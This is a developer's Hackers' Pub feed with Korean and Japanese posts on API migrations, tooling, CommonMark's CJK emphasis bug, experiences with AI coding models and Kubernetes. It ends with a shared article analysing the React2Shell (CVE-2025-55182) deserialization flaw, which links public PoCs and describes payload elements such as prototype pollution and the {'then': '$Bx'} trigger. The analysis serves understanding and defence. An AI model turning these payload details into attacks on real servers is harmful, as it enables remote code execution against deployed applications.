Profile img

Juntai Park

@arkjun@hackers.pub · 66 following · 91 followers

中年(중년)中小企業(중소기업) 開發者(개발자), 90年代(년대) Console Gamer(콘솔 게이머). 좋은 하루를 繼續(계속)해 나아간다. 좋은 하루가 모이면 좋은 人生(인생)이 된다.

韓国人のプログラマー、40代、小学生の息子とゲームするのが幸せ😃💕龍が如く 、ゼルダの伝説、マリオ、ピクミン好き

「いい1日を続ける」
いい1日を続けていけば、いい人生になる!

Imagethreads
@rkjun
Imagex
@rkJun
Imageuri.life
@arkjun@uri.life
ImageGitHub
@arkjun

Daum (Kakao) 우편번호 서비스 도메인 & JS API 네임스페이스 변경 안내 (사전 공지)

https://github.com/daumPostcode/QnA/issues/1498

GeekNews에도 올리기는 했는데, 아무래도 국내 서비스에는 영향을 받는 곳이 많다보니, Hackers' Pub에도 공유해 둡니다.

  1. 공식 가이드 페이지
  1. CDN 도메인 변경 (적용 완료)
  1. 서비스 도메인 변경 일정 (예정)
  1. JavaScript API 네임스페이스 변경 안내
  • 기존 new daum.Postcode({...
  • 변경 new kakao.Postcode({...
  1. 서비스 종료 예정 도메인 안내 (중요)
  1. 도메인 변경 사전 안내 및 네임스페이스 변경에 대한 안내
  • 기존 도메인 종료에 대한 상세 일정은 3월 10일 전후 공지에서 다시 안내
  • 서비스 중단 방지를 위해 사전 점검 및 점진적 전환을 권장

아래 내용도 참고하면 좋을 것 같습니다.

기존 도메인(t1.daumcdn.net)도 당분간 계속 사용 가능하지만, 가능한 경우 신규 도메인(t1.kakaocdn.net) 사용을 권장드립니다.
...
daum.Postcode는 강제 변경되지 않으며, 가능한 한 오랜 기간 동안 호환성 유지를 목표로 지원할 예정입니다.
다만, 신규 개발 및 유지보수 관점에서 점진적으로 kakao.Postcode 사용을 권장드립니다.

0

Daum (Kakao) 우편번호 서비스 도메인 & JS API 네임스페이스 변경 안내 (사전 공지)

https://github.com/daumPostcode/QnA/issues/1498

GeekNews에도 올리기는 했는데, 아무래도 국내 서비스에는 영향을 받는 곳이 많다보니, Hackers' Pub에도 공유해 둡니다.

  1. 공식 가이드 페이지
  1. CDN 도메인 변경 (적용 완료)
  1. 서비스 도메인 변경 일정 (예정)
  1. JavaScript API 네임스페이스 변경 안내
  • 기존 new daum.Postcode({...
  • 변경 new kakao.Postcode({...
  1. 서비스 종료 예정 도메인 안내 (중요)
  1. 도메인 변경 사전 안내 및 네임스페이스 변경에 대한 안내
  • 기존 도메인 종료에 대한 상세 일정은 3월 10일 전후 공지에서 다시 안내
  • 서비스 중단 방지를 위해 사전 점검 및 점진적 전환을 권장
2

백만년만에(?) 터미널 프로그램을 iTerm2 에서 Ghostty 로 바꿨다.

  • 찍먹만 해보자는 생각으로 깔았는데,
  • 설정 잡는 방법도 마음에 들고
  • 빠르고 가벼운 느낌이 제법 체감되어 아예 넘어가기로 했다.
1

日本(일본)의 TypeScript 컨퍼런스인 TSKaigi 2026이 5() 22()(())–23()(())에 東京(도쿄)에서 開催(개최)된다고 합니다. 함께 가실 韓國(한국) 분 계실까요?

一旦(일단) 저랑 Image@2chanhaeng초무 님하고 Image@kodingwarriorJaeyeol Lee (a.k.a. kodingwarrior) :vim: 님이 같이 가실 것 같습니다.

4
7
5
2

오랫동안 GrafanaPrometheus 의 조합으로 서버 모니터링을 해왔는데, (거기에 Uptime Kuma 까지)

뭔가 바꿔볼 마음이 들어서, 올해 하게 되는 프로젝트에는 SigNozxyOps 를 적용해볼까 싶어서 살펴보고 있다. (바쁘거나 우선순위에서 밀리면 못하겠지만)

2
4
1
2
1

내 구독 목록을 보는 SubList Me 를 소개합니다.

  • 대 AI 시대라, 저도 AI 에이전트와 함께 개인적으로 장난감을 만들어 보았습니다.

  • Cloudflare에서 도메인을 샀고, 서버리스로 Pages와 Workers를 사용합니다.

  • Nextjs, Hono를 사용하고 있습니다.

  • 선택UI 는 Installkit에서 영감을 받았습니다.

  • Hackers.pub 에 제일 먼저 공개하고 싶었고, 그러므로, 최초 공개입니다. 😅

  • 많이 부족하고 아직 버그나 개선의 여지도 많지만 개밥먹기하면서 수정해 나가려고 합니다.

  • 소개 페이지: https://www.sublistme.com/

  • 서비스 링크: https://app.sublistme.com/

소스는 요기

Sublist Me Screenshot 1Sublist Me Screenshot 2
7

(わかる人にはわかると思うけど)最近は、機能追加や修正において、コードを直接いじるよりも、修正計画をしっかり書いてからコードエージェントに任せることが増えている。

手戻りを減らすためにも、修正計画はできるだけ具体的に書くことを意識している。テスト対応まで含めて指示することも多い。

もちろん、最終的なコードの検証とテストは自分で行う。

2
8
6

ImageJuntai Park shared the below article:

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

Image

고남현 @gnh1201@hackers.pub

코드를 한 줄도 안 짰는데, 최고의 개발자로 평가받았다

최근(정확하게는 작년 7월쯤) 한 사람이 실리콘밸리 회사를 포함해 많게는 60여 개의 회사에 동시에 취업해 일했다는 이야기가 화제가 되었다. 놀라운 점은 그가 여러 회사를 속였다는 사실이 아니라, 오히려 각 회사에서 “일을 정말 잘한다”는 평가를 받았다는 점이었다. 더 어처구니없는 사실은, 그가 실제로는 코드를 거의, 혹은 전혀 작성하지 않았다는 것이다.

그의 직함은 분명 프로그래머였다. 채용 공고 역시 프로그램을 작성할 사람을 찾고 있었다. 그러나 실무에 투입된 뒤 그가 한 일은 코드 작성이 아니라 방향 제시, 구조 정리, 기술 선택에 대한 조언, 그리고 갈등 중재였다. 말하자면 그는 개발자가 아니라 컨설턴트처럼 일했다. 그런데 결과적으로 팀의 생산성은 올라갔고, 프로젝트는 이전보다 더 잘 굴러갔다.

이 기묘한 상황은 개인의 기지나 편법 때문이 아니라, 현대 소프트웨어 조직이 안고 있는 구조적인 모순을 드러낸다.

회사는 정말로 ‘코드를 짜는 사람’을 원했을까

많은 회사가 개발자를 채용할 때 “무엇을 만들 사람인가”보다 “어떤 직무명을 가진 사람인가”를 먼저 적는다. 백엔드 개발자, 시니어 엔지니어, 풀스택 개발자 같은 익숙한 단어들이 채용 공고를 채운다. 그러나 실제로 현장에 들어가 보면 문제는 코드에 있지 않은 경우가 훨씬 많다.

무엇을 만들어야 할지 내부 합의가 없고, 기술 선택에 대한 책임을 누구도 지고 싶어 하지 않으며, 기존 시스템은 누더기처럼 얽혀 있다. 개발자들은 각자 옳은 말을 하지만, 결정은 나지 않는다. 이때 회사에 진짜로 필요한 사람은 코드를 잘 짜는 사람이 아니라, 결정을 내려주고 방향을 정해주는 사람이다.

그 사례의 주인공은 바로 이 공백을 정확히 채웠다. 그는 코드를 쓰지 않았지만, 쓸 필요 없는 코드를 줄였고, 잘못된 선택을 미리 막았으며, 팀이 앞으로 나아갈 수 있도록 정리해 주었다. 회사 입장에서는 그 어떤 개발자보다 “일을 잘하는 사람”처럼 보일 수밖에 없었다.

가장 가치 있는 코드는 ‘안 써도 된 코드’다

소프트웨어 개발에서 가장 큰 손실은 느린 타이핑이 아니라 잘못된 방향이다. 필요 없는 기능을 만드는 데 들어간 시간, 나중에 갈아엎어야 할 구조를 유지하느라 소모되는 에너지, 아무도 책임지지 않는 설계 결정들이 프로젝트를 망친다.

컨설턴트형 인력은 바로 이 지점을 건드린다. “이 기능은 지금 만들 필요가 없다”, “이 문제는 기술 문제가 아니라 조직 문제다”, “이 구조로 가면 반드시 다시 고치게 된다”는 말을 할 수 있는 사람은 코드 생산량으로는 측정되지 않지만, 결과에는 결정적인 영향을 미친다.

그 사람이 동시에 여러 회사에서 일할 수 있었던 이유도 여기에 있다. 각 회사는 하루 여덟 시간을 모두 가져간 것이 아니라, 결정이 막히는 순간에 필요한 ‘판단력’을 빌린 것이었다.

채용 공고는 문제를 말하지 못한다

만약 회사가 솔직하게 채용 공고를 쓸 수 있다면 이렇게 적혀야 할지도 모른다.

“우리는 무엇을 해야 할지 잘 모르겠습니다. 내부에 의견 충돌이 많고, 누군가 정리해 주길 원합니다.”

하지만 현실에서는 그럴 수 없으니, 프로그래머라는 이름으로 사람을 찾는다. 그 결과 코드 작성자를 뽑았다고 생각했지만, 사실은 컨설턴트가 더 잘 맞는 자리에 개발자를 앉혀두는 일이 반복된다.

이번 사례는 그 불일치가 극단적으로 드러난 사건일 뿐이다.

불편하지만 피할 수 없는 결론

이 이야기가 많은 개발자에게 불편하게 느껴지는 이유는 분명하다. 우리는 오랫동안 “코딩을 잘하면 인정받는다”고 믿어왔기 때문이다. 그러나 현실의 많은 조직에서 가장 희소한 자원은 코딩 능력이 아니라 문제 정의 능력, 판단력, 그리고 책임지고 결정하는 용기다.

이 사건은 사기극이라기보다, 회사들이 스스로 무엇이 필요한지 정확히 알지 못했다는 증거에 가깝다. 그리고 그 틈을 정확히 읽어낸 사람이, 코드를 한 줄도 쓰지 않고도 최고의 개발자로 평가받았다.

어처구니없어 보이지만, 이것이 지금의 소프트웨어 산업이 서 있는 위치다.

Read more →
8

LLM에서 마크다운이 널리 쓰이게 되면서 안 보고 싶어도 볼 수 밖에 없게 된 흔한 꼬라지로 그림에서 보는 것처럼 마크다운 강조 표시(**)가 그대로 노출되어 버리는 광경이 있다. 이 문제는 CommonMark의 고질적인 문제로, 한 10년 전쯤에 보고한 적도 있는데 지금까지 어떤 해결책도 제시되지 않은 채로 방치되어 있다.

문제의 상세는 이러하다. CommonMark는 마크다운을 표준화하는 과정에서 파싱의 복잡도를 제한하기 위해 연속된 구분자(delimiter run)라는 개념을 넣었는데, 연속된 구분자는 어느 방향에 있느냐에 따라서 왼편(left-flanking)과 오른편(right-flanking)이라는 속성을 가질 수 있다(왼편이자 오른편일 수도 있고, 둘 다 아닐 수도 있다). 이 규칙에 따르면 **는 왼편의 연속된 구분자로부터 시작해서 오른편의 연속된 구분자로 끝나야만 한다. 여기서 중요한 건 왼편인지 오른편인지를 판단하는 데 외부 맥락이 전혀 안 들어가고 주변의 몇 글자만 보고 바로 결정된다는 것인데, 이를테면 왼편의 연속된 구분자는 **<보통 글자> 꼴이거나 <공백>**<기호> 또는 <기호>**<기호> 꼴이어야 한다. ("보통 글자"란 공백이나 기호가 아닌 글자를 가리킨다.) 첫번째 꼴은 아무래도 **마크다운**은 같이 낱말 안에 끼어 들어가 있는 연속된 구분자를 허용하기 위한 것이고, 두번째/세번째 꼴은 이 **"마크다운"** 형식은 같이 기호 앞에 붙어 있는 연속된 구분자를 제한적으로 허용하기 위한 것이라 해석할 수 있겠다. 오른편도 방향만 다르고 똑같은 규칙을 가지는데, 이 규칙으로 **마크다운(Markdown)**은을 해석해 보면 뒷쪽 **의 앞에는 기호가 들어 있으므로 뒤에는 공백이나 기호가 나와야 하지만 보통 글자가 나왔으므로 오른편이 아니라고 해석되어 강조의 끝으로 처리되지 않는 것이다.

CommonMark 명세에서도 설명되어 있지만, 이 규칙의 원 의도는 **이런 **식으로** 중첩되어** 강조된 문법을 허용하기 위한 것이다. 강조를 한답시고 **이런 ** 식으로 공백을 강조 문법 안쪽에 끼워 넣는 일이 일반적으로는 없으므로, 이런 상황에서 공백에 인접한 강조 문법은 항상 특정 방향에만 올 수 있다고 선언하는 것으로 모호함을 해소하는 것이다. 허나 CJK 환경에서는 공백이 아예 없거나 공백이 있어도 한국어처럼 낱말 안에서 기호를 쓰는 경우가 드물지 않기 때문에, 이런 식으로 어느 연속된 구분자가 왼편인지 오른편인지 추론하는 데 한계가 있다는 것이다. 단순히 <보통 문자>**<기호>도 왼편으로 해석하는 식으로 해서 **마크다운(Markdown)**은 같은 걸 허용한다 하더라도, このような**[状況](...)**は 이런 상황은 어쩔 것인가? 내가 느끼기에는 중첩되어 강조된 문법의 효용은 제한적인 반면 이로 인해 생기는 CJK 환경에서의 불편함은 명확하다. 그리고 LLM은 CommonMark의 설계 의도 따위는 고려하지 않고 실제 사람들이 사용할 법한 식으로 마크다운을 쓰기 때문에, 사람들이 막연하게 가지고만 있던 이런 불편함이 그대로 표면화되어 버린 것이고 말이다.

* 21. Ba5# - 백이 룩과 퀸을 희생한 후, 퀸 대신 **비숍(Ba5)**이 결정적인 체크메이트를 성공시킵니다. 흑 킹이 탈출할 곳이 없으며, 백의 기물로 막을 수도 없습니다. [강조 처리된 "비숍(Ba5)" 앞뒤에 마크다운의 강조 표시 "**"가 그대로 노출되어 있다.]
14
1
0
3
0

GLM-4.7의 성능이 그렇게나 좋다고 들어서 요금제를 보니 상당히 파격적인 가격이라 조금 시도해 봤다. 우선 LogTape에 있던 이슈 하나를 수행하게 했고, 혹시 몰라서 Claude Code에서 Claude 4.5 Opus로 PLAN.md 계획 파일을 꽤 꼼꼼하게 만들게 한 뒤, 그걸 참고하게 했다. 그럼에도 불구하고:

  • 모든 export되는 API에 대해서는 JSDoc 주석을 써야 한다는 당연한 절차를 수행하지 않음 (코드베이스의 다른 코드는 다 그렇게 되어 있는데도 눈치가 없음)
  • JSDoc 주석을 쓰랬더니 Python docstring 스타일로 정의부 “안쪽”에 주석을 씀…
  • Deno.env 같은 특정 런타임에 의존적인 API를 씀 (코드베이스의 다른 코드는 그런 API 안 쓰고 있음)
  • 아주 기본적인 JavaScript 구문 오류를 냄 (예를 들면 세미콜론 빼먹는 식의) → 이것 때문에 상당히 토큰 소모를 많이 함
  • 한국어가 살짝 귀여움 (“나옵니다”가 아니라 “나옴니다”라고 쓰는 식)
  • 결국에는 JavaScript 구문 오류를 못 고쳐서 테스트 스위트도 아예 못 돌리는데 전체 작업이 완료되었다고 스스로 결론 내림

소문난 잔치에 먹을 게 없다더니, 역시나 벤치마크만 보고 모델을 골라서는 안 되겠다는 교훈만 재확인 한 것 같다.

8

GLM-4.7의 성능이 그렇게나 좋다고 들어서 요금제를 보니 상당히 파격적인 가격이라 조금 시도해 봤다. 우선 LogTape에 있던 이슈 하나를 수행하게 했고, 혹시 몰라서 Claude Code에서 Claude 4.5 Opus로 PLAN.md 계획 파일을 꽤 꼼꼼하게 만들게 한 뒤, 그걸 참고하게 했다. 그럼에도 불구하고:

  • 모든 export되는 API에 대해서는 JSDoc 주석을 써야 한다는 당연한 절차를 수행하지 않음 (코드베이스의 다른 코드는 다 그렇게 되어 있는데도 눈치가 없음)
  • JSDoc 주석을 쓰랬더니 Python docstring 스타일로 정의부 “안쪽”에 주석을 씀…
  • Deno.env 같은 특정 런타임에 의존적인 API를 씀 (코드베이스의 다른 코드는 그런 API 안 쓰고 있음)
  • 아주 기본적인 JavaScript 구문 오류를 냄 (예를 들면 세미콜론 빼먹는 식의) → 이것 때문에 상당히 토큰 소모를 많이 함
  • 한국어가 살짝 귀여움 (“나옵니다”가 아니라 “나옴니다”라고 쓰는 식)
  • 결국에는 JavaScript 구문 오류를 못 고쳐서 테스트 스위트도 아예 못 돌리는데 전체 작업이 완료되었다고 스스로 결론 내림

소문난 잔치에 먹을 게 없다더니, 역시나 벤치마크만 보고 모델을 골라서는 안 되겠다는 교훈만 재확인 한 것 같다.

오늘은 OpenCode에서 공짜로 제공하길래 MiniMax M2.1로 코딩을 좀 해봤다. 몇 시간 정도 해본 느낌으로는 GLM-4.7보다는 훨씬 나았고, 체감상으로는 대충 Claude Sonnet 4와 비슷한 정도로 말귀를 잘 알아듣는 느낌이었다. 컨텍스트 윈도가 긴 것도 장점이었다. 다만, 컨텍스트가 좀 길어지니까 끝도 없이 삽질을 반복하게 되어서, 그 쯤에서 모델을 GPT-5.1 Codex Max로 바꿔서 진행했다. GPT-5.1 Codex Max로 삽질 구간 벗어난 뒤에 금방 다시 MiniMax M2.1로 돌아와서 계속 코딩을 했고, 전반적으로 싼 값을 감안하면 굉장히 좋다고 느꼈다.

요즘에는 평소에 Claude Opus 4.5를 주력으로 사용하니까, 아무래도 비교가 될 수밖에 없었는데:

  • 역시나 눈치라고 해야 하나, 센스는 떨어진다. Claude Sonnet 4.5보다도 떨어지는 듯. 이를테면 Markdown 문서를 수정하도록 지시하면 기존의 일관성 있게 잘 짜여 있던 문서 서식이 금방 무너지는 게 느껴진다.
  • AGENTS.md의 세세한 지시를 좀 뭉개는 느낌이 있다. 예를 들면 TypeScript 코딩할 때 any 타입을 쓰지 말라고 했음에도 무시하고 사용한다든가. Claude 계열 모델들에서는 이런 건 잘 못 겪는다.
  • 작업의 맥락보다 이미 학습되어 있는 자신의 지식을 더 따르는 느낌이 있다. 이를테면 일부러 여러 JavaScript 런타임에서 두루 돌아가게 하려고 Deno API를 안 쓰고 Node.js API를 써서 짜 둔 코드베이스에서 갑자기 Deno API를 꺼내서 쓰기 시작하는 식이다. 이것도 눈치 문제로 볼 수도 있을 듯.
  • 그렇게 중요하진 않지만 자연어 응답에 언어가 조금 섞인다. 특히 국한문혼용체가 종종 나온다. 나로서는 오히려 좋다(?). 그런데 자세히 보면 대륙에서 쓰는 간화자가 아니라서, 중국어가 섞이는 건 아닌 것 같다. 아마도 일본어 아니면 대만/홍콩의 중국어가 섞이는 것 같다. 아니면 정말로 국한문혼용체일지도? 그리고 아랍어도 한 번 섞이는 걸 봤다.
  • 속도는 그냥저냥 쓸만하지만 딱히 빠른 것도 아닌데, 이건 OpenCode에서 공짜로 제공하는 걸 써서 그럴 수도 있다. Claude Opus 4.5보다는 약간 느리다고 느꼈지만, 이것도 그냥 체감이라 정확하진 않다. 삽질하는 걸 더 많이 봐서 느리다고 착각한 걸 수도 있고.

일단은 OpenCode에서 공짜로 제공하는 동안은 좀 더 써 볼 생각이다. 돈 내고 쓸 생각이 있냐 하면, 그건 좀 고민이 된다. 코딩 요금제를 보면 5시간에 300 프롬프트짜리가 월 20불 정도 된다. 지금은 Claude Max 요금제를 쓰고 있는데, 아무래도 부담이 좀 되긴 해서, Claude Pro로 내리고 MiniMax를 섞어서 쓰면 어떨까 생각만 해보고 있다.

6
2

새해 복 많이 받으세요. 2026년에도 늘 좋은 일만 가득하시기를 바랍니다.

あけましておめでとうございます。 2026年も素敵な一年になりますように。

新年快乐!愿2026年带给您满满的好运与美好。

Happy New Year. May 2026 bring you happiness, success, and many wonderful moments.

3
5

한 해를 마무리하는 글을 블로그에 썼습니다: 〈聯合宇宙(연합우주)와 함께 한 2025()〉(한글 專用文(전용문)이쪽). 題目(제목) 그대로 聯合宇宙(연합우주)와 함께 했던 저의 한 해를 되돌아 보는 글입니다. 聯合宇宙(연합우주) 德分(덕분)에 많은 因緣(인연)과 이어지게 되어서 感謝(감사)하게 생각합니다.

4

Terraform & Kubernetes 도입 후기 (그리고 AI의 도움)

Image

Juntai Park @arkjun@hackers.pub

Terraform & Kubernetes 도입 후기

최근 인프라 구성과 서비스 운영 전반에서 (늦었지만…) Terraform과 Kubernetes를 본격적으로 사용해 보았고, 생각보다 경험이 꽤 좋아서 기록 겸 공유해 둔다.

TL;DR

이걸 왜 이제 썼지. 진작 써볼 걸. (feat. 관리할 서버가 많아질수록 체감이 큼)

기존에 사용하던 방식

  1. 웹 브라우저 → AWS 콘솔에서 마우스 클릭으로 인프라 구성 (EC2 생성, 네트워크 설정 등)
  2. 로컬 서버에 Docker / Docker Compose 기반 운영

이번에 사용한 방식

Terraform (IaC)

  • VPC, Subnet, NAT, Kubernetes Cluster 까지 인프라를 코드로 선언
  • 변경 이력이 Git에 남아 변경 추적과 리뷰가 가능
  • 코드로 명확히 남기니 재사용성과 일관성이 크게 좋아짐
  • 콘솔 수작업이 줄어들어 휴먼 에러 감소
  • '이 인프라가 왜 이렇게 생겼는지'가 코드로 설명됨

내 경우는 NCP(Naver Cloud Platform) 를 사용했는데, 지원하는 리소스 범위가 제한적이라 일부는 여전히 웹 콘솔에서 수작업이 필요했다.

그럼에도 불구하고, Terraform을 도입한 만족도는 꽤 높았다.

Kubernetes

  • 배포, 롤링 업데이트(무중단), 오토스케일링이 정책 기반으로 자동 동작
  • 모든 설정을 yaml파일로 관리할 수 있는 점이 매우 편리
  • 서비스 디스커버리, 헬스 체크, 셀프 힐링 덕분에 운영 부담이 체감될 정도로 감소
  • Pod / Node / Resource 단위로 문제를 분리해서 볼 수 있어 장애 원인 추적이 수월
  • 서비스 규모가 커질수록 정리된 상태를 유지하기 쉬운 구조
  • GitLab CI + Container Registry + ArgoCD 조합의 배포 자동화 경험이 매우 만족스러웠음

그리고, AI의 도움

이번에 느낀 또 하나의 큰 포인트는 AI의 존재감이었다.

  • Terraform module 구조 설계, variable 정리
  • Kubernetes manifest 작성 및 리팩토링 (Deployment, HPA, Ingress 등)
  • 에러 메시지 / 이벤트 로그 해석
  • 필요한 CLI 명령어를 바로 바로 알려줌
  • “이 구성, 더 나은 패턴이 있는가?” 같은 설계 피드백
  • 문서를 처음부터 끝까지 파는 방식보다, AI와 대화하면서 검증하고 다듬는 흐름이 훨씬 효율적이었다.

결과적으로,

  • 러닝 커브는 여전히 존재하지만 AI를 보조 도구로 사용하면서 학습 속도와 시행착오 비용이 크게 줄어든 느낌

요약하자면,

  • 수많은(?) 장애와 벽에 부딪히는 순간에도 언제든 도움을 받을 수 있다는 점에서 덜 두려웠다.

부록) K8S, 다음에도 바로 쓸 것인가?

  • 서비스 초기부터 바로 도입할 것 같지는 않다 (K8S Cluster만 해도 NCP 기준 월 약 7만 원)
  • 초기에는 인스턴스 1~2대 + 오토스케일링 정도로 충분할 듯 (아예 오토스케일링이 필요 없는 경우도 많다)
  • 사용하는 인스턴스 수가 늘고, 서비스 규모가 커지면 그때 도입을 고민
  • 사용 경험은 긍정적이지만 작은 서비스에는 확실히 오버스펙
  • 서버에 바로 SSH 접근해서 띄우고 로그보고 재기동 시키고 하는 게 더 편안한 1인이라, 그런 거 못할 때 가끔 불편하게 느껴지기는 했음 (물론 셸 접근은 가능하나, 그러기에는 Pod이 너무 많..)

정리하면

  • Terraform: 서비스 초기부터 도입하고 싶다
  • Kubernetes: 상황에 따라 선택, 작은 서비스라면 초반 도입은 X
Read more →
3

Just had someone leave feedback on my F/OSS project saying “maybe that's fine if a product is focused on your Chinese community.”

I'm Korean. Every single piece of documentation is in English. There's nothing in Chinese anywhere in the project.

This kind of microaggression is exhausting. As a non-white maintainer, you deal with these assumptions constantly—people who feel entitled to your labor while casually othering you based on your name.

It chips away at your motivation. It makes you wonder why you bother.

https://github.com/dahlia/optique/issues/59#issuecomment-3678606022

0
14
1
7

ImageJuntai Park shared the below article:

React2Shell 취약점의 특성을 알아보자

Image

고남현 @gnh1201@hackers.pub

React2Shell 취약점이란?

외부에서 수신된 특정한 규격에 따라 구조적으로 작성된 데이터를 처리한다면, 공격자가 어떠한 의도를 가지고 있다면 데이터를 보낼 때 실행 가능한 악의적 코드를 같이 넣어 보낼 가능성을 배제할 수 없다.

이것이 보안 약점이 되지 않기 위해선 이러한 공격자의 의도를 막아야하지만, React2Shell (CVE-2025-55182) 취약점은 이러한 공격자의 의도를 막지 못하고 실행을 무제한 허용하는 방법이 발견된 것이다.

특정한 규격에 따라 구조적으로 작성된 데이터를 처리하는 과정을 일컫는 용어를 "역직렬화"(Deserialization)이라고 한다.

특정한 규격은 잘 알려진 JSON, XML, YAML가 될 수도 있고, 자체 규격이 될 수도 있고, 혼합형이 될 수도 있다. React2Shell 취약점은 혼합형(JSON + aka. Flight)을 사용하였다.

자체 규격(aka. Flight)이 JavaScript로 정의된 객체의 성격을 임의로 변경(Prototype 개념 상 존재하는 생성자 수준의 속성(__proto__, constructor)에 접근하여 객체의 성격을 임의로 바꿀 수 있음)하는데 필요한 접근성을 가지고 있었기에 가능한 것이었다.

역직렬화(Deserialization) 과정은 왜 위험한가?

실무적으로 역직렬화 과정이 위험해지는 이유는 다음과 같다.

  1. 데이터 교환 포맷은 자료형에 엄격하지 않다: 원활한 데이터 교환이 최우선이라는 목적에 만족하기 위해 엄격한 자료형(Type-safe)을 사용하도록 설계하지 않는다. 이것은 자료형 혼란(Type Confusion)을 기반으로 한 다양한 방식의 탈옥 시도를 가능케해주는 단서가 되기도 한다.
  2. 특정 단어 또는 특정 기호가, 특정 작업을 수행하는 신호탄(Trigger) 역할을 한다: 특정 특정 단어 또는 특정 기호에 의해 촉발되는 특정 작업의 유효성 검증 절차가 미흡하며 해당 어플리케이션의 범위를 벗어나 시스템으로 권한 상승과 명령 실행을 허용하는 통로가 된다. 실무적으로 가장 비중이 높은 유형이다.
  3. 미리 식별되지 못한 예약어가 있을 수 있다: 드물지만 특정 언어, 특정 프레임워크, 특정 라이브러리, 또는 특정 펌웨어 등 연관된 의존성에서 명확하게 식별되지 못한 예약어(단어, 기호)를 처리하는 구현이 존재할 가능성도 있다. 이는 특정 조건이 맞으면 발현될 가능성이 있다.

이 외에도 역직렬화 과정은 유사한 여러 취약 가능성을 가지고 있기 때문에, 역직렬화 과정을 보호하기 위한 여러 보완 장치의 구현이 필요하다.

알려진 역직렬화 취약점 사례 (언어 및 생태계별)

역직렬화 취약점이 어떤 성격을 가지는 취약점인지 빠르게 이해하기 위해선, 역직렬화 취약점과 연관이 있는 취약점 사례와 공통적인 특징을 살펴볼 수 있다. 그 사례는 다음과 같다.

언어 / 생태계역직렬화 취약점 사례주요 공통점
JavaCVE-2021-44228 (Log4Shell), CVE-2017-9805 (Apache Struts2 REST), CVE-2020-8840 (jackson-databind)외부 입력이 객체 생성·역직렬화 경로(JNDI, XML/JSON 바인딩) 로 유입되어 gadget chain 또는 원격 클래스 로딩을 통해 RCE 발생
.NET (C# / VB.NET)CVE-2019-18935 (Telerik UI), CVE-2025-53690 (Sitecore ViewState), CVE-2020-25258 (Hyland OnBase)BinaryFormatter·ViewState 등 레거시 역직렬화 포맷을 신뢰하여 임의 타입 로딩·코드 실행
PythonCVE-2017-18342 (PyYAML unsafe load), CVE-2024-9701 (Kedro ShelveStore), CVE-2024-5998 (LangChain FAISS)pickle·unsafe YAML 로더 사용으로 역직렬화 자체가 실행 트리거
PHP (WP)CVE-2023-6933 (Better Search Replace), CVE-2025-0724 (ProfileGrid), CVE-2024-5488 (SEOPress)unserialize() / maybe_unserialize()에 사용자 입력이 전달되어 PHP Object Injection(POP chain) 발생
RubyCVE-2013-0156 (Rails YAML.load), CVE-2020-10663 (RubyGems Marshal)YAML.load·Marshal.load 사용 시 임의 객체 생성 → 코드 실행
JavaScript / Node.jsCVE-2025-55182 (React2Shell), CVE-2020-7660 (serialize-javascript)구조 복원·객체 재구성 로직이 신뢰되지 않은 입력을 코드/객체로 해석
GoCVE-2022-28948 (go-yaml Unmarshal), CVE-2020-16845 (HashiCorp Consul)Unmarshal 단계에서 입력 검증 부족 → 구조체 복원 기반 로직 붕괴·DoS
RustGHSA-w428-f65r-h4q2 (serde_yaml / unsafe deserialization, CVE-2021-45687)메모리 안전과 무관하게 serde 기반 역직렬화에서 신뢰되지 않은 데이터가 내부 타입으로 복원되어 로직 오염·DoS·잠재적 코드 실행 위험
Kotlin / AndroidCVE-2024-43080 (Android) / CVE-2024-10382 (Android Car)Intent/Bundle/IPC 역직렬화 시 타입·검증 미흡 → 권한 상승·DoS
C / C++CVE-2024-8375 (Google Reverb, Related to gRPC and protobuf)Unpack 과정에서 데이터타입(VARIANT), vtable 포인터 오염 등 무결성 검증 부족
Swift / iOSCVE-2021-32742 (Vapor)외부 입력을 디코딩/객체 복원 시 신뢰 경계 붕괴 → DoS·정보 노출
산업용 (ICS/OT)CVE-2024-12703, CVE-2023-27978 (Schneider Electric), CVE-2025-2566 (Kaleris Navis N4), CVE-2023-32737 (Siemens SIMATIC)프로젝트 파일·관리 서버 입력을 신뢰된 내부 데이터로 가정하고 역직렬화 → RCE 및 물리 시스템 영향 가능

역직렬화 취약점은 언어와 환경을 가리지 않고 다양하게 나타나고 있으며, 발견된 역직렬화 취약점은 취약점 점수(CVSS 3.x)에서도 8.0에서 10.0 범위의 매우 높은 점수를 받고 있다.

이제 사전 정보 없이도 공격 특성을 읽을 수 있다.

역직렬화 취약점이 어떤 공통적인 특성을 가지는지 설명했으니, 이제 React2Shell 공격의 개념증명(PoC)에서 보인 공격 특성을 사전 정보(공격 대상인 RSC의 내부 이해)가 없이도 어느정도 파악할 수 있다.

여기 각각 JavaScript와 Python으로 작성된 주요 공격 개념증명 코드가 있다.

  • https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/blob/main/01-submitted-poc.js
  • https://github.com/msanft/CVE-2025-55182/blob/main/poc.py

여기서 알 수 있는 정보는 다음과 같다.

  1. 잘 알려진 포맷(JSON 등)과 함께 보이는 Colon-sperated String과 같은 패턴은 활용 분야에 따라 Micro-operations, Opcodes 등의 용어로 불리며, 비실행 포맷을 최소 명령 실행이 가능한 포맷으로 활용하겠다는 의도를 나타낸다. 구현 시 무결성에 주의를 더 기울이지 않으면 역직렬화 취약점을 불러들이는 좋은 복선이 된다.
  2. 생성자 수준의 키워드 (__proto__, constructor )를 통해 Prototype을 변조할 수 있는 접근성을 가지고 있다는 것을 알 수 있다. 용어로는 "JavaScript prototype pollution"라고 한다.
  3. then 키워드를 통해 공격 대상 내부에 존재하는 Promise 객체에 붙겠다(또는 새로운 Promise 객체를 만들겠다)는 의도를 확인할 수 있다.
  4. 페이로드의 value 필드 값이 아직 역직렬화 되기 전의 문자열 형태의 JSON인 것으로 봤을 때, 공격 대상 내부에서 JSON.parse 메소드의 호출을 예상할 수 있다.
  5. 공격 코드로 보이는 _response._prefix 의 주입은 then 키워드가 등장하는 위치와 최대한 가까운 곳에서 일어나야 한다. 그래야 Promise 객체가 공격 코드를 트리거할 수 있기 때문이다.
  6. 결국 JSON 역직렬화 과정이 일어나면서, then 속성을 가지면서, 공격 코드를 수용할 수 있는 가장 연관성 높은 표현이라는 점을 모두 만족하는 부분은 {"then": "$Bx"}라는 것을 알 수 있다. $Bx를 처리하는 과정 중 (또는 $Bx가 처리한 결과에 대한 사후) 검증이 부족하다는 의미이다.
